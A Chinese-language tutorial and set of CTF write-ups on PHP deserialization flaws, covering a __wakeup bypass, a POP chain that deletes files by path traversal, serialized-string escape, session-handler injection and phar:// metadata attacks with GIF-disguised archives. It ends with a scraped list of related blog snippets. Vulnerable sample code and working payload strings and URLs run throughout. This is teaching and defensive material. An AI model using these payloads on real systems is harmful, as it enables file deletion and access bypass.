<?php class Example1 { public $cache_file; public $condition; function __construct() { // some PHP code } function __destruct() { if($this->condition==='balabala') { $this->Delete($this->cache_file); } } function Delete($filename) { $file = "{$filename}"; echo $file; echo 'delete'; if (file_exists($file)) { unlink($file); echo 'ok'; } } } $user_data = unserialize($_GET['data']); ?>
这是一个简单的php反序列化的例子,可以看出通过赋值对应的值,控制cache_file和condition变量,就可以实现任意文件删除.在反序列化后也就执行unserialize函数之后,会自动调用析构函数destruct()
<?php class Example1 { public $cache_file='1.txt'; public $condition='balabala'; } $a=new Example1(); echo serialize($a); ?>
payload:
O:8:"Example1":2:{s:10:"cache_file";s:5:"1.txt";s:9:"condition";s:8:"balabala";}
2.简单反序列化漏洞
绕过__wakeup
__wakeupunserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
以一个例题来说明__wakeup()的绕过方式
极客大挑战[2019]PHP
打开题目的实例
查看源码发现一句话,什么可爱备份了,猜测是备份文件泄露,于是,试试 bak 后缀,无用
直接上 dirsearch 扫了一圈,找到 www.zip 备份文件,在 index.php 中发现
继续查看发现 flag.php 结果一个假 flag 而已
发现 class.php,确定这题就是反序列化漏洞无疑
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
于是,去构造 payload,阅读源码发现需要时 username=admin,password=100,还需要绕过__wakeup 析构函数
<?php private $username = 'admin'; private $password = '100'; $a = new Name('admin', 100); var_dump(serialize($a)); ?>
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的 username 重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct,跳过__wakeup()。在反序列化字符串时,属性个数的值大于实际属性个数时**(CVE-2016-7124)**,会跳过 __wakeup()函数的执行
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过还是没有结束,因为这个声明变量是 private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0 的前缀。字符串长度也包括所加前缀的长度
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}关于触发__tostring()
__tostring的触发方式比较多,单独列了出来
__toString 当一个对象被当作一个字符串使用
- echo( o b j ) / p r i n t ( obj) / print( obj)/print(obj)将其打印出来的时候
- “I am {$obj}” / 'test '. $obj字符串连接
- sprintf(“I am %s”, $obj)格式化字符串
- if($obj == ‘admin’)与字符串进行= =比较的时候(从此也可以印证,PHP进行= =比较的时候会转换参数类型)
5.格式化SQL语句,绑定参数的时候会被调用 - in _array($obj, [‘admin’, ‘guest’]), 数组中有字符串的时候会被调用
7.正则匹配,字符串匹配(stripos)
3.pop链反序列化漏洞
什么是pop链,pop反序列化漏洞,漏洞产生原因,修复方法
pop链定义
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
通常反序列化的攻击是在魔术方法中出现一些可利用的漏洞,通过自动调用来触发漏洞。但是如果关键代码不在魔术方法中,而是在一个类的普通方法中。这个时候我们可以通过寻找相同的函数名将类的属性和敏感函数联系起来。
本示例代码参考自l3m0n博客中的示例再结合本篇的示例撰写,在Example2中已经说到需要在当前类中跟踪魔术方法中调用的普通函数的数据传输过程;
接下来的Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET[‘data’]);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪_toString魔术方法中的数据传递过程。
跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;
由protected o b j 与 obj与 obj与this->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。
1.<?php 2.class Example3 3.{ 4. protected $obj; 5. 6. function __construct() 7. { 8. $this->obj = new Example5; 9. } 10. 11. function __toString() 12. { 13. if (isset($this->obj)) return $this->obj->Delete(); 14. } 15.} 16. 17.class Example4 18.{ public $cache_file; 19. function Delete() 20. { $file = "/var/www/html/cache/tmp/{$this->cache_file}"; 21. if (file_exists($file)) 22. { 23. @unlink($file); 24. } 25. 26. return 'I am a evil Delete function'; 27. } 28.} 29. 30.class Example5 31.{ 32. function Delete() 33. { 34. return 'I am a safe Delete function'; 35. } 36.} 37. 38.$user_data = unserialize($_GET['data']); 39.echo $user_data; 40.?>
在站点根目录下创建文件名为thinking3的测试文件。
root@ubuntu:/var/www/html# ls cache test.php thinking3
使用如下代码构造payload,删除/var/www/html下的thinking3文件。
1.<?php 2.class Example3 3.{ 4. protected $obj; 5. 6. function __construct() 7. { 8. $this->obj = new Example4; 9. } 10. 11.} 12. 13.class Example4 14.{ public $cache_file = '../../thinking3'; 15. 16.} 17. 18.$evil = new Example3(); 19.echo urlencode(serialize($evil)); 20.?>
output:
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
payload:
http://192.168.163.136/test.php?data=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
or
http://192.168.163.136/test.php?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:8:"Example4":1:{s:10:"cache_file";s:15:"../../thinking3";}}
这就是一个简单的反序列化的例子,通过构造pop链,实现魔法函数与普通函数的调用,在不同类之间跳转,最后执行功能点处的代码,实现漏洞利用。
4.反序列化的逃逸
替换变长,替换变短,漏洞产生原因,修复方法
反序列化的特点
首先要了解一下反序列化的一些特点:
- php在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
class A{ public $name='shy'; public $pass='123456'; } $lemon = new A(); echo serialize($lemon); #反序列化后的结果为: O:1:"A":2:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";}
超出的部分并不会被反序列化成功,如下图:
这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以
";}
结束的,那如果把";}
添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。- 长度不对应的时候会报错
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
- 可以反序列化类中不存在的元素
<?php $str='O:1:"A":3:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";s:5:"pass2";s:6:"123456";}'; var_dump(unserialize($str)); • 1 • 2 • 3
这些特点一定要清楚,否则在做题时可能就因为这些基础知识而做出不来。
ctf中的反序列化
ctf中的反序列化有两个共同的特点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化(变长、变短).
- 总是先进行序列化,再进行替换修改操作.
经典题目:
- [0CTF 2016]piapiapia (替换变长)
- [安洵杯 2019]easy_serialize_php (替换变短)
过滤后字符变多(替换变长)
实验代码:
#参考字节脉搏实验室 <?php function lemon($string){ $lemon = '/p/i'; return preg_replace($lemon,'ww',$string); } $username = $_GET['a']; $age = '20'; $user = array($username,$age); var_dump(serialize($user)); echo "<br>"; $r = lemon(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
正常输入的话
因为我们输入的是apple,含有两个
p
,所以会被替换成四个w
,但是发现长度并没有变化,因此根据反序列化的特点,指定的长度错误则反序列化就会失败。但是正是因为存在这个过滤,我们便可以去修改age的值,首先来看一下,原来序列化后
";i:1;s:2:"20";}
长度为16,我们已经知道了当输入一个p
会替换成ww
,所以如果输入16个p,那么会生成32个的w
,所以如果我们输入16个p再加上构造的相同位数的";i:1;s:2:"30";}
,恰好是32位,即32 pppppppppppppppp";i:1;s:2:"30";} 经过替换后 32 wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
所以非常明显了,在过滤后的序列化时会被32个w全部填充,从而使构造的代码
";i:1;s:2:"30";}
成功逃逸,修改了age的值,而原来的那";i:1;s:2:"20";}
则被忽略了因为反序列化字符串都是以";}
结束的,我们传入的";i:1;s:2:"30";}
已经在前面成功闭合了
过滤后字符变少(替换变短)
搭建一个简单的实验环境代码如下:
#参考Mr. Anonymous师傅的代码学习 <?php function str_rep($string){ return preg_replace( '/lemon|shy/','', $string); } $test['name'] = $_GET['name']; $test['sign'] = $_GET['sign']; $test['number'] = '2020'; $temp = str_rep(serialize($test)); printf($temp); $fake = unserialize($temp); echo '<br>'; print("name:".$fake['name'].'<br>'); print("sign:".$fake['sign'].'<br>'); print("number:".$fake['number'].'<br>'); ?>
如果正常输入的话,回显出的结果如下:
已经知道number的值是固定的2020
如果想要修改这个值,就要在sign中加入
";s:6:"number";s:4:"2000";}
,其长度为27,仔细观察便可以发现是利用反序列化的第一个特点底层代码是以
;作为字段的分隔,以
}作为结尾
,想要将之前的number挡在序列化之外,从而可以反序列化自己构造的,但直接输入发现是不行的,并没有将我们输入的给反序列化了在实验代码中有替换功能,当遇到
lemon 或 shy
会自动替换为空,也这里用shy
做为name的输入,故意输入敏感字符,替换为空之后来实现字符逃逸,三个字符变成零个字符,吃掉了三个字符
,输入8个shy
,也就是腾出了24个字符的空间,利用这个空间来进行构造,由于";s:4:"sign";s:54:"hello成了
name的内容,所以还要在后面加个";s:4:"sign";s:4:"eval
作为sign序列化的内容。这个构造其实也很简单,因为经过测试发现,
";s:4:"sign";s:
这个长度其实是不变的,变的是我们在参数sign输入的参数,这里假设输入9个shy,那么吃掉了27个字符,对应的就需要添加27个字符,目前";s:4:"sign";s:
这个长度为15,所以还差12个,因为整个payload肯定是不超过100个字符的,所以加上后面的长度,也就是";s:4:"sign";s:xx:"
,这个长度为19,因此我们要输入的字符只需8个即可payload:
http://127.0.0.1/1.php ?name=shyshyshyshyshyshyshyshyshy &sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
这样便可以将number的值给更改了
当少变多的时候,往往在后面跟着闭合并且将后面的键值对挤出去。
当多变少的时候,往往是两个参数,通过前面的参数吃掉中间的部分,后面的部分就可以随意构造了。
5. PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
phpsession,漏洞产生原因,修复方法
php session
首先了解下 php session 的三种存储方式
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项
session.save_handler
来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是
name|s:6:"spoock";
。name是键值,s:6:"spoock";
是serialize("spoock")
的结果。在php_serialize引擎下:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
SESSION文件的内容是
a:1:{s:4:"name";s:6:"spoock";}
。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
h在php_binary引擎下:
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
SESSION文件的内容是
names:6:"spoock";
。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
php session 在服务器中默认的文件名sess_PHPSESSID(phpsessid 是一组字符串)
web3考核
这是题目的源码
<?php highlight_file(__FILE__); $content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : ""; $name = @$_GET['name'] ? $_GET['name'] : ''; str_replace('/', '', $name); str_replace('\\', '', $name); file_put_contents("/tmp/" . $name, $content); session_start(); if (isset($_SESSION['username'])) { echo "Thank u,{$_SESSION['username']}"; } //flag in flag.php
可以得知 flag 在 flag.php 中去访问 flag.phg,提示不是 admin 用户
可以看到我们写入的文件存储到了 tmp 目录下,而 session 的存储位置:一般是存储在/tmp 下,我们可以通过改变 session 存储文件中的值,产生反序列化漏洞
php 储存 session 的三种方式:
php_serialize 经过 serialize()函数序列化数组
php 键名+竖线+经过 serialize()函数处理的值
php_binary 键名的长度对应的 ascii 字符+键名+serialize()函数序列化的值
php 是默认的存储方式
如何改变 session 存储文件中的值?
需要将 username 的值改为 admin,也就是?content=admin|s:5:“admin”&name=sess_phpsessid
name 对于我们是可控的,name 也只是做了简单的过滤,没有影响
而 content,在前面加了一串字符,我们需要是这传字符失效
也就是让 content 的值为?content=|N;admin|s:5:“admin”;
再次访问 flag.php 就可以得到 flag
6.phar伪协议触发php反序列化
phar协议知识,phar反序列化漏洞,漏洞产生原因,修复方法
PHAR压缩包
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。
PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下
php.ini
打开
php.ini
,找到phar.readonly
指令行,修改成:phar.readonly = 0
创建一个phar压缩包
<?php $phar = new Phar('swoole.phar'); $phar->buildFromDirectory(__DIR__.'/../', '/\.php$/'); $phar->compressFiles(Phar::GZ); $phar->stopBuffering(); $phar->setStub($phar->createDefaultStub('lib_config.php'));
new Phar的参数是压缩包的名称。buildFromDirectory指定压缩的目录,第二个参数可通过正则来制定压缩文件的扩展名。
Phar::GZ表示使用gzip来压缩此文件。也支持bz2压缩。参数修改为 PHAR::BZ2即可。setSub用来设置启动加载的文件。默认会自动加载并执行 lib_config.php。
执行此代码后,即生成一个swoole.phar文件。
使用phar压缩包
<?php include 'swoole.phar'; include 'swoole.phar/code/page.php';
使用phar可以很方便的打包你的代码,集成部署到线上机器。
phar文件结构
查阅手册可知一个phar文件有四部分构成:
1.a stub
可以理解为一个标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。- a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3.the file contents
被压缩文件的内容。 - [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
可以明显的看到meta-data是以序列化的形式存储的:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过
phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:php底层源码处理,也是调用了unserialize()
php-src/ext/phar/phar.c
phar_test1.php
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
其他函数当然也是可行的:
phar_test2.php
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/a_random_string'; file_exists($filename); //...... ?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是
__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new TestObject(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
成功伪造了文件的类型,采用这种方法可以绕过很大一部分上传检测。
漏洞利用
phar文件本质上是一种压缩文件,使用phar://协议读取文件时, 文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata) 信息会被反,序列化。这就引出了我们攻击手法最核心的流程。
构造phar(元数据中含有恶意序列化内容)文件–>.上传–>触发反序列化最后-步是寻找触发phar文件元数据反序列化。其实php中有大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta -data进行反序列化。该方法在文件系统函数(file_ exists()、 is. _dir()等) 参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
防御
- 在文件系统函数的参数可控时,对参数进行严格的过滤。
- 严格检查上传文件的内容,而不是只检查文件头。
- 在条件允许的情况下禁用可执行系统命令、代码的危险函数。
phar其他利用方式
phar LFIhttps://www.jianshu.com/p/3b09ab7487e7
phar文件上传
参考链接:
师傅们总结的都很好,感谢分享。
PHP反序列化漏洞简介及相关技巧小结https://www.freebuf.com/articles/web/209975.html
最全的PHP反序列化漏洞的理解和应用https://www.freebuf.com/column/202607.html
初探反序列化与POP CHAINhttps://www.freebuf.com/column/154530.html
浅析php反序列化字符串逃逸https://blog.csdn.net/qq_43431158/article/details/108210822
浅谈php序列化字符串逃逸https://www.cnblogs.com/hello-there/p/12870541.html
深入解析PHP中SESSION反序列化机制https://www.jb51.net/article/107101.htm
PHP中phar包的使用http://rango.swoole.com/archives/168
利用 phar 拓展 php 反序列化漏洞攻击面https://paper.seebug.org/680/
-
unserialize:PHP 反序列化的 Node.js 端口
2021-05-29 07:28:56PHP 反序列化的 Node.js 端口 安装 npm install unserialize 用法 var unserialize = require('unserialize'); console.log(unserialize('a:2:{s:4:"name";s:4:"Andy";s:3:"age";i:82;}')); // { name: 'Andy', ... -
PHP反序列化CTF例题
2022-03-23 22:52:46用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例,加深对魔术方法等相关知识的理解。另外,还会和xss跨站脚本的知识进行融合。 -
(37)【PHP反序列化】PHP反序列化原理、函数、利用过程
2022-04-17 11:43:39【专题】PHP反序列化利用 -
通过简单案例接触PHP反序列化
2022-03-22 12:07:57以PHP反序列化漏洞为例,理解不安全的反序列化的成因。为接下来反序列化引发的诸多场景介绍奠定基础。 -
详解PHP序列化反序列化的方法
2020-12-19 18:41:58下面说说php 如何进行数据的序列化和反序列化的。 php 将数据序列化和反序列化其实就用到两个函数,serialize 和unserialize。 serialize 将数组格式化成有序的字符串 unserialize 将数组还原成数组 例如: $user=... -
渗透测试-PHP反序列化及绕过
2022-04-26 14:41:41最简单的反序列化 require_once('flag.php'); highlight_file(__FILE__); classA{ private$user='test'; function__destruct(){ ... -
浅析php反序列化原生类的利用
2022-03-31 18:08:37浅析php原生类的利用 -
php反序列化[基础]
2022-03-13 09:44:22反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组,并返回一个字符串 据访问修饰符不同,序列化后的属性长度和属性值会有不同 protected属性被序列化的时候属性值会... -
Pikachu漏洞靶场 PHP反序列化
2022-04-04 10:33:16序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串。 反序列化unserialize() 就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。 -
PHP多种序列化/反序列化的方法详解
2020-10-19 15:54:52本篇文章主要介绍了PHP多种序列化/反序列化的方法详解,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧 -
第二十二天php反序列化问题
2022-03-30 22:14:39序列化 ...PHP中的序列化与反序列化 PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一 旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没 -
简单介绍php反序列化
2020-10-30 21:47:19反序列化 很好理解,就是将序列化反过来,通过unserialize()函数重新把字符串变回php原来的值。 多说无益,直接看例子。 先看序列化 <?php class person { var $name; var $age; var $sex; private $admin=... -
PHP反序列化学习笔记
2020-04-17 21:10:250x00 前言 php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行...反序列化的函数为unserialize 0x01 序列化与反序列化 序列化 利用serialize()函数将一个对象转换为字符串形式 <?php c... -
pikachu之php反序列化()
2022-04-15 21:08:14pikachu靶场的反序列化漏洞 (代码审计能力有点弱鸡,不对之处请指教) -
php json与xml序列化/反序列化
2020-10-26 18:54:00在WEB开发中,php对象的序列化与反序列化经常使用,比较主流的有json格式与xml格式的序列化与反序列化。今天我们就来看看是如何用的。 -
原理+实践学习(PHP反序列化和Session反序列化)
2019-08-15 17:39:51前言:PHP反序列化也是web安全中常见的一种漏洞,这次就先来大致了解一下PHP反序列化漏洞。 一、PHP序列化和反序列化 在学习PHP反序列化漏洞时,先来了解一下基础的知识。 (一)PHP序列化 函数 : serialize() 所有... -
PHP反序列化-2020-网鼎杯-青龙组-Web-AreUSerialz
2022-04-17 16:20:45PHP反序列化 序列化(serialize)就是将对象转换为字符串。反序列化(unserialize)则相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象 访问控制 PHP 对属性或方法的访问控制,是通过... -
pikachu靶场 :十二、PHP反序列化
2020-02-02 13:04:48pikachu靶场 :十二、PHP反序列化概论漏洞输出xss文件读取 概论 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符... -
php反序列化之pop链构造
2022-04-06 13:48:24随着对反序列化学习的不断深入,我们来学习一下pop链的构造。这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解。同时也是提供想要入坑的小伙伴们一些理解。 pop... -
皮卡丘中的PHP反序列化
2021-08-25 10:49:53PHP反序列化序列化反序列化PHP中的魔法函数pikachu漏洞 以下内容来自pikachu靶场,自己记录用于复习PHP反序列化的利用. 真他妈后悔上课的时候没好好学PHP,现在搞web很是吃力.一步一步的走是很重要的. 序列化 序列... -
攻防世界——ctf php反序列化
2019-06-03 21:14:09php反序列化学习 今天的做了个反序列化的CTF题,先拜读大佬们的文章弄懂了啥叫反序列化: serialize:序列化 unserialize: 反序列化 简单解释: serialize 把一个对象转成字符串形式, 可以用于保存 ... -
2022/3/28 PHP反序列化
2022-03-28 13:44:11PHP反序列化 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而导致代码执行,SQL注入,目录遍历登不可控后果。在反序列化的过程中自动触发了某些魔术方法。 serialize() //将一个对象...